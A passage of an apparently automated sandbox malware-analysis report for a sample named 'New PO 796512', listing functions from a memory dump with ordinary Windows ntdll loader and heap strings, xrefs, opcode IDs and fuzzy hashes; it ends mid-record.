                                                                                            • Opcode Fuzzy Hash: 86dd939acd15d939da005f8d77c8a059f3bf9f40c724262b8a7b055d6215b61b
                                                                                            • Instruction Fuzzy Hash: 81A1BF35900329DBDF24EF69CC84BAAB7B5BF58758F1441EAE908A7251D7309E80CF90
                                                                                            Function 013564AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 013B10AE
                                                                                            • ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 013B0FE5
                                                                                            • ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 013B106B
                                                                                            • ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 013B1028
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
                                                                                            • API String ID: 0-1468400865
                                                                                            • Opcode ID: 74599f59450e04012499f886d140c220481f56dfe8dc2fac2367c41dff17f39a
                                                                                            • Instruction ID: 15be40f7f44b8c8008e45e3d4fdd355fdf7c5f14436138363ff4f353fe48b61b
                                                                                            • Opcode Fuzzy Hash: 74599f59450e04012499f886d140c220481f56dfe8dc2fac2367c41dff17f39a
                                                                                            • Instruction Fuzzy Hash: 2171DDB1944345AFCB61DF18C885F9B7BA8AF54B6CF800968FD498B246D734D188CBD2
                                                                                            Function 0137245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 013BA9A2
                                                                                            • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 013BA992
                                                                                            • LdrpDynamicShimModule, xrefs: 013BA998
                                                                                            • apphelp.dll, xrefs: 01372462
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-176724104
                                                                                            • Opcode ID: 0e027b264cc1fd34377cf22e4c75a9e9f015ed4efe31e625135cd97b8d0fe146
                                                                                            • Instruction ID: 65da4b6960076a41a26e8c8b7aa93832230433ea551762129cfe0f600053987f
                                                                                            • Opcode Fuzzy Hash: 0e027b264cc1fd34377cf22e4c75a9e9f015ed4efe31e625135cd97b8d0fe146
                                                                                            • Instruction Fuzzy Hash: D9315779A00205EBEB31DF5DD881EAABBB8FB84B0CF16405DFA0167665E7709881D790
                                                                                            Function 013D20DE Relevance: 5.0, Strings: 4, Instructions: 41COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • P-, xrefs: 013D20EB
                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 013D2104
                                                                                            • LdrpInitializationFailure, xrefs: 013D20FA
                                                                                            • Process initialization failed with status 0x%08lx, xrefs: 013D20F3
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: LdrpInitializationFailure$P-$Process initialization failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-111390657
                                                                                            • Opcode ID: b83400f5fdbdb4fbc455fd6c9ee8bded240389ad3034088a1fd0fab2f7cea25f
                                                                                            • Instruction ID: 429c891cd8a5780d0ea83333166f392c2ee5d7721ce2ac5993c2b8305f6c8dff
                                                                                            • Opcode Fuzzy Hash: b83400f5fdbdb4fbc455fd6c9ee8bded240389ad3034088a1fd0fab2f7cea25f
                                                                                            • Instruction Fuzzy Hash: C2F0C879640318AFE724EB5DDC42F963B68EB40F5CF104059FA407B281D5B0A904C695
                                                                                            Function 013629A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • HEAP: , xrefs: 01363264
                                                                                            • HEAP[%wZ]: , xrefs: 01363255
                                                                                            • Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0136327D
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
                                                                                            • API String ID: 0-617086771
                                                                                            • Opcode ID: c6217daca6487d1435fa16e967efa13b63df7b291428cc0b4f67a86bc23697d9
                                                                                            • Instruction ID: 405fa722491db2c145987398547961949100d0488acd65d51f58ab2943a05e9d
                                                                                            • Opcode Fuzzy Hash: c6217daca6487d1435fa16e967efa13b63df7b291428cc0b4f67a86bc23697d9
                                                                                            • Instruction Fuzzy Hash: 2492BB70A04249DFDB25CF68C4447AEBBF9FF08308F19C069E859AB799D734A945CB50
                                                                                            Function 01360770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                                                            • API String ID: 0-4253913091
                                                                                            • Opcode ID: e3302f9d3582ae0b4cee7e734fd7c493e38d2df85ccf2e86925641897384f6f2
                                                                                            • Instruction ID: a33b7a1283463454c6cfa831e5552c58ea6a32ee9c0b887b362d3d1a8c083152
                                                                                            • Opcode Fuzzy Hash: e3302f9d3582ae0b4cee7e734fd7c493e38d2df85ccf2e86925641897384f6f2
                                                                                            • Instruction Fuzzy Hash: 01F1BF30600606DFEB29CF68C885BAABBF9FF44308F148169E5169B795D734E981CF90
                                                                                            Function 01376962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID: $@
                                                                                            • API String ID: 2994545307-1077428164
                                                                                            • Opcode ID: 087ce6f0ab08f35def266e31662e9f7d6a6456978b8b009bb58bcd8dde1f7551
                                                                                            • Instruction ID: 6651a0064d403e2943dc602d3db37b76d4c97da115d82f89e30bbc10959aa3e5
                                                                                            • Opcode Fuzzy Hash: 087ce6f0ab08f35def266e31662e9f7d6a6456978b8b009bb58bcd8dde1f7551
                                                                                            • Instruction Fuzzy Hash: 63C283716087459FEB35CF28C485BABBBE5AF88758F04892DF989C7241E738D805CB52
                                                                                            Function 0134A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: FilterFullPath$UseFilter$\??\
                                                                                            • API String ID: 0-2779062949
                                                                                            • Opcode ID: d92488e2ed053c9d74b91fb43b481ee5db681adadf31b4ed57f7a52e5e6e24ff
                                                                                            • Instruction ID: 46c99536d704ca79dd5b925b3f62f343d4d36392d28bd960112b674200374c3b
                                                                                            • Opcode Fuzzy Hash: d92488e2ed053c9d74b91fb43b481ee5db681adadf31b4ed57f7a52e5e6e24ff
                                                                                            • Instruction Fuzzy Hash: 61A17D769016299BDF31DF28CC88BEAB7B8EF44718F1041E9E909A7250D735AE84CF50
                                                                                            Function 01370BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • LdrpCheckModule, xrefs: 013BA117
                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 013BA121
                                                                                            • Failed to allocated memory for shimmed module list, xrefs: 013BA10F
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-161242083
                                                                                            • Opcode ID: 255e5ca3e823349b3b2667eee4bbb5f90534bfae49aed3dc0a67abc0571bfe68
                                                                                            • Instruction ID: f327c6be9ac29c1b94ac4b548b4badfa25830051f63d201f0a9885887d96c198
                                                                                            • Opcode Fuzzy Hash: 255e5ca3e823349b3b2667eee4bbb5f90534bfae49aed3dc0a67abc0571bfe68
                                                                                            • Instruction Fuzzy Hash: EF71D174A0020ADFDF29DFACC981ABEB7F4FB45608F15402DE906EB615E734A941CB50
                                                                                            Function 01360A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
                                                                                            • API String ID: 0-1334570610
                                                                                            • Opcode ID: bb713bfa9844102b49779dac35348f74bbbb3cbbbbd0f81d7302d242244bc86e
                                                                                            • Instruction ID: 9848a21c3b522db32eca47556c2a22aeb5fff55d84ba7da886181ca8c30c035c
                                                                                            • Opcode Fuzzy Hash: bb713bfa9844102b49779dac35348f74bbbb3cbbbbd0f81d7302d242244bc86e
                                                                                            • Instruction Fuzzy Hash: 6F61B0706003059FDB29CF28C481BAABBE9FF45708F14C55DE5898B79AD770E881CB91
                                                                                            Function 0138C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • minkernel\ntdll\ldrinit.c, xrefs: 013C82E8
                                                                                            • LdrpInitializePerUserWindowsDirectory, xrefs: 013C82DE
                                                                                            • Failed to reallocate the system dirs string !, xrefs: 013C82D7
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                                                            • API String ID: 0-1783798831
                                                                                            • Opcode ID: ebe38e75fa95b689810eeb188a5bc30692dd6f75a0bad589fdcccdacd146db06
                                                                                            • Instruction ID: 989d2b0389effe88aaf2ee1928e81658f34283d10105b686a73f9e79872c92ce
                                                                                            • Opcode Fuzzy Hash: ebe38e75fa95b689810eeb188a5bc30692dd6f75a0bad589fdcccdacd146db06
                                                                                            • Instruction Fuzzy Hash: DD41DFB6540315AFDB31FB68D844B9B7BE8FF48A58F01492AF948D7264E770D800CBA1
                                                                                            Function 0140C188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • @, xrefs: 0140C1F1
                                                                                            • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 0140C1C5
                                                                                            • PreferredUILanguages, xrefs: 0140C212
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
                                                                                            • API String ID: 0-2968386058
                                                                                            • Opcode ID: bbf53cd9f3656900d584c89b0ad1d39d881e86330599806b7318b99d6d1d9c86
                                                                                            • Instruction ID: 96f783df0039460606f814382dcd54d89890e1f37b1f65d8a695d72edba7c0a8
                                                                                            • Opcode Fuzzy Hash: bbf53cd9f3656900d584c89b0ad1d39d881e86330599806b7318b99d6d1d9c86
                                                                                            • Instruction Fuzzy Hash: 1F416171E00209EBDF12DBD9C881BEEBBB8AB14714F1441BBE609A7690D7749A458B50
                                                                                            Function 013E4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
                                                                                            • API String ID: 0-1373925480
                                                                                            • Opcode ID: b76715ec42c35850ce23d33d18acd011593ee93d6f9d4f2fa43fde886c3745d6
                                                                                            • Instruction ID: 701dce7895322c0984139021f897ce6520701983afa1c7530d58ebfae3957414
                                                                                            • Opcode Fuzzy Hash: b76715ec42c35850ce23d33d18acd011593ee93d6f9d4f2fa43fde886c3745d6
                                                                                            • Instruction Fuzzy Hash: 6141E172A04769CBEB25DB98C848BADBBF8FF59348F14045ADA01EB7D1D6349901CB10
                                                                                            Function 013D4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • minkernel\ntdll\ldrredirect.c, xrefs: 013D4899
                                                                                            • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 013D4888
                                                                                            • LdrpCheckRedirection, xrefs: 013D488F
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                                                            • API String ID: 0-3154609507
                                                                                            • Opcode ID: cc8b71a0c4cddb300db310a7265973f286ca2cb283408bdedc2ac5528527c3fe
                                                                                            • Instruction ID: 97d5ab211be6814747f549e57572126f71f2aab73a75f42805c0b5d3048fd45c
                                                                                            • Opcode Fuzzy Hash: cc8b71a0c4cddb300db310a7265973f286ca2cb283408bdedc2ac5528527c3fe
                                                                                            • Instruction Fuzzy Hash: 8C41B037A042519BCB21CF6CF841A26BFE9BF49A98F060569ED98E7B11D731D800CB91
                                                                                            Function 01360BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
                                                                                            • API String ID: 0-2558761708
                                                                                            • Opcode ID: f74b2dd9c00418598c4b379c9d46844ef2432fbe98e0305bc29917413e001037
                                                                                            • Instruction ID: b3ca139757fc109a40d09d7d46799f4a542110cdb677d86e07b09fa291b7460f
                                                                                            • Opcode Fuzzy Hash: f74b2dd9c00418598c4b379c9d46844ef2432fbe98e0305bc29917413e001037
                                                                                            • Instruction Fuzzy Hash: E011E131315106DFDB2DDB28C482BB6B3A8EF4061EF18C129F506DBA99EB38E840C750
                                                                                            Function 013603E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: ___swprintf_l
                                                                                            • String ID: #%u
                                                                                            • API String ID: 48624451-232158463
                                                                                            • Opcode ID: 91e8a71516400e247dfcfbcda5c47d1dbcd932331482626b8ba7b6c3ac3b3da5
                                                                                            • Instruction ID: bd6f70c7780f555dd50b843694e475076ddfdb4592658b382d05b292d4c9621e
                                                                                            • Opcode Fuzzy Hash: 91e8a71516400e247dfcfbcda5c47d1dbcd932331482626b8ba7b6c3ac3b3da5
                                                                                            • Instruction Fuzzy Hash: 93716A71A0010A9FDF05DFA8C990BAEB7F8FF18708F144065EA05A7256EA34ED01CB64
                                                                                            Function 0135A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • LdrResSearchResource Exit, xrefs: 0135AA25
                                                                                            • LdrResSearchResource Enter, xrefs: 0135AA13
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
                                                                                            • API String ID: 0-4066393604
                                                                                            • Opcode ID: b9ea99fb532cab31668660a4313b222e8c29a7a2f57df3169cda23b0cde28d42
                                                                                            • Instruction ID: 59be039f12651de54c0c843b9ba1b72bd492ec710cef834e334eefcff565eb10
                                                                                            • Opcode Fuzzy Hash: b9ea99fb532cab31668660a4313b222e8c29a7a2f57df3169cda23b0cde28d42
                                                                                            • Instruction Fuzzy Hash: 14E17171E00219ABEF62CE9DC980FEEBBB9BF44718F144626EE01E7651E7349940DB50
                                                                                            Function 0141A352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: `$`
                                                                                            • API String ID: 0-197956300
                                                                                            • Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                            • Instruction ID: 23fff3db130d2d4f91d33ab8c3e291e06f2c5a15538e69929bfd501a1bc3c616
                                                                                            • Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
                                                                                            • Instruction Fuzzy Hash: CFC1F5312053829BE725CF29C840B6BBBE5BFD4318F284A2EF699C72A8D774D505CB41
                                                                                            Function 013CE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID: Legacy$UEFI
                                                                                            • API String ID: 2994545307-634100481
                                                                                            • Opcode ID: cdd9a5a1836f68a495be1446f1460b91865b1778a9a1fe5b34b5651723d166b3
                                                                                            • Instruction ID: 9bcc6ddb90b4463ffcd7eceb7f5e2194632f8c7794aabb24bce8c6c463a599e3
                                                                                            • Opcode Fuzzy Hash: cdd9a5a1836f68a495be1446f1460b91865b1778a9a1fe5b34b5651723d166b3
                                                                                            • Instruction Fuzzy Hash: C2611972E007199FDB15DFA88940AAEBFB9FB48B08F14407DE659EB251D731AD40CB50
                                                                                            Function 013F43D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: @$MUI
                                                                                            • API String ID: 0-17815947
                                                                                            • Opcode ID: 582e0810a0dc90d065a1a336828aa443256798aaefd853f2a72f31c608a5d1b3
                                                                                            • Instruction ID: af05141d47bbb131dbe25929241fc2768d5a50e45543954d7a7837d6f7a2b3b2
                                                                                            • Opcode Fuzzy Hash: 582e0810a0dc90d065a1a336828aa443256798aaefd853f2a72f31c608a5d1b3
                                                                                            • Instruction Fuzzy Hash: A751F771E0161DAEDF11DFA9CC84EEFBBBDEB44758F100529EA15B7290D6309A05CBA0
                                                                                            Function 013504E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • kLsE, xrefs: 01350540
                                                                                            • TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 0135063D
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
                                                                                            • API String ID: 0-2547482624
                                                                                            • Opcode ID: 70153d57de478dba8726e3b1318b591d192850011dd400c40ea4d6143e1f4fe9
                                                                                            • Instruction ID: c894a102c96acc725987bbcdd9962d6a2d42dd35cb673c2b2c67d26d68a7836e
                                                                                            • Opcode Fuzzy Hash: 70153d57de478dba8726e3b1318b591d192850011dd400c40ea4d6143e1f4fe9
                                                                                            • Instruction Fuzzy Hash: 6951B0715047428FD768DF68C580AA7BBE4EF84B18F10483EFAEA87241E772D545CBA1
                                                                                            Function 0135A2C3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            • RtlpResUltimateFallbackInfo Enter, xrefs: 0135A2FB
                                                                                            • RtlpResUltimateFallbackInfo Exit, xrefs: 0135A309
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
                                                                                            • API String ID: 0-2876891731
                                                                                            • Opcode ID: 45dbf201d60f0a1ecbd206ee1495ec73920fadfde8ebf4e5866e5dda63d264ea
                                                                                            • Instruction ID: 8b209eab2b491fb316fae7135a9b271300656ae62719c3490b76803c526a8ff1
                                                                                            • Opcode Fuzzy Hash: 45dbf201d60f0a1ecbd206ee1495ec73920fadfde8ebf4e5866e5dda63d264ea
                                                                                            • Instruction Fuzzy Hash: A141BC31A04649DBDB15DF59C880FAA7BB8FF84B0CF1442A5EE04DB692E6B5D900CB50
                                                                                            Function 0138A5D0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID: Cleanup Group$Threadpool!
                                                                                            • API String ID: 2994545307-4008356553
                                                                                            • Opcode ID: 22eae8dde3b6c8de6ea540170c5dbbfb3243b4f5fa77b047279eb066ecc3bb4c
                                                                                            • Instruction ID: 3698edbd5994ae251d7d2f6a70869bd340137887eab39dfb9afb54b33c23e6f4
                                                                                            • Opcode Fuzzy Hash: 22eae8dde3b6c8de6ea540170c5dbbfb3243b4f5fa77b047279eb066ecc3bb4c
                                                                                            • Instruction Fuzzy Hash: 6F01D1B2251704AFD311EF14CD46B2677E8E78572DF01893AE658C7194E334D904CB4A
                                                                                            Function 0135C7C0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: MUI
                                                                                            • API String ID: 0-1339004836
                                                                                            • Opcode ID: 8de56e7bcecc78cde520053ce5f3aef783eabd8ada9888d0d60d78aa9265096d
                                                                                            • Instruction ID: 9910eb8496ce67e4d5afcc7d2bcc44e774d5fde7a078135378e46f3c33474a05
                                                                                            • Opcode Fuzzy Hash: 8de56e7bcecc78cde520053ce5f3aef783eabd8ada9888d0d60d78aa9265096d
                                                                                            • Instruction Fuzzy Hash: 74825C75E003198BEB65CFA9C880BEDBBB9BF48B18F148169DD19AB351D7309D81CB50
                                                                                            Function 013D6420 Relevance: 1.5, Strings: 1, Instructions: 264COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID: 0-3916222277
                                                                                            • Opcode ID: 757e33443a2a3f561a88aff021a3fed90cefa96d170d698bc7d99a5c96b45b03
                                                                                            • Instruction ID: d2742f80ebf4a8dc9407ae4333dcda9c6c93bfa31c0dda0ce2bcf22be8833c22
                                                                                            • Opcode Fuzzy Hash: 757e33443a2a3f561a88aff021a3fed90cefa96d170d698bc7d99a5c96b45b03
                                                                                            • Instruction Fuzzy Hash: 4C9195B2A00219AFEB21DF99DC85FAEBBB9EF14754F104065F610BB194D774AD04CBA0
                                                                                            Function 013FE10E Relevance: 1.5, Strings: 1, Instructions: 255COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID: 0-3916222277
                                                                                            • Opcode ID: 21049c8bc84d205ccdb77ca27ca0edd6fa2bb42046e47c6cd250f0fd439f6089
                                                                                            • Instruction ID: 46e09681b543d04da333af35c066c03ed7e9601bb85ec1b0a58d06a8e34e74f3
